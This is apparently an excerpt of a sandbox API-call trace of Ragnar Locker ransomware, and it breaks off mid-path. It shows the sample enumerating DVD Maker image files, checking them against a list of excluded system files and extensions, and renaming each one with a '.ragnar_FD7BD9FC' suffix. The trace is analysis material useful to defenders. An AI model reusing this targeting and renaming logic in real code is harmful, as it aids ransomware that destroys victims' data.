[0078.791] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png.ragnar_FD7BD9FC" [0078.791] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.791] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0078.791] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.791] lstrcpyW (in: lpString1=0x1eab5a, lpString2="203x8subpicture.png" | out: lpString1="203x8subpicture.png") returned="203x8subpicture.png" [0078.791] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned=".png" [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="autorun.inf") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootfont.bin") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootsect.bak") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgr") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgr.efi") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgfw.efi") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="desktop.ini") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="iconcache.db") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntldr") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.dat") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.dat.log") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.ini") returned -1 [0078.791] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="thumbs.db") returned -1 [0078.791] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.791] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.791] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.791] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.791] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.791] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.791] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png")) returned 0x20 [0078.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.792] CloseHandle (hObject=0xffffffff) returned 0 [0078.792] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" [0078.792] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.ragnar_FD7BD9FC" [0078.792] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.792] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.792] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.793] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0078.793] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned=".png" [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0078.793] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0078.793] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.793] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.793] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.793] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.793] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.793] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.793] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png")) returned 0x20 [0078.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.794] CloseHandle (hObject=0xffffffff) returned 0 [0078.794] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" [0078.794] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0078.794] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.794] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.794] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.794] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0078.794] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned=".png" [0078.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0078.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0078.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0078.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0078.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0078.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0078.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0078.795] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0078.795] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0078.795] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0078.795] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0078.795] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0078.795] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0078.795] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0078.795] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.795] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.795] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.795] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.795] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.795] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.795] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0078.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.796] CloseHandle (hObject=0xffffffff) returned 0 [0078.796] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" [0078.796] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0078.796] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.796] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.796] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.796] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0078.796] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned=".png" [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0078.796] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0078.796] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.796] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.797] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.797] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.797] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.797] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.797] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png")) returned 0x20 [0078.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.798] CloseHandle (hObject=0xffffffff) returned 0 [0078.798] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" [0078.798] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0078.798] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.798] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.798] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.798] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0078.798] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned=".png" [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0078.798] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0078.798] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.798] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.798] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.798] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.798] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.798] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.798] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png")) returned 0x20 [0078.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.799] CloseHandle (hObject=0xffffffff) returned 0 [0078.799] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD 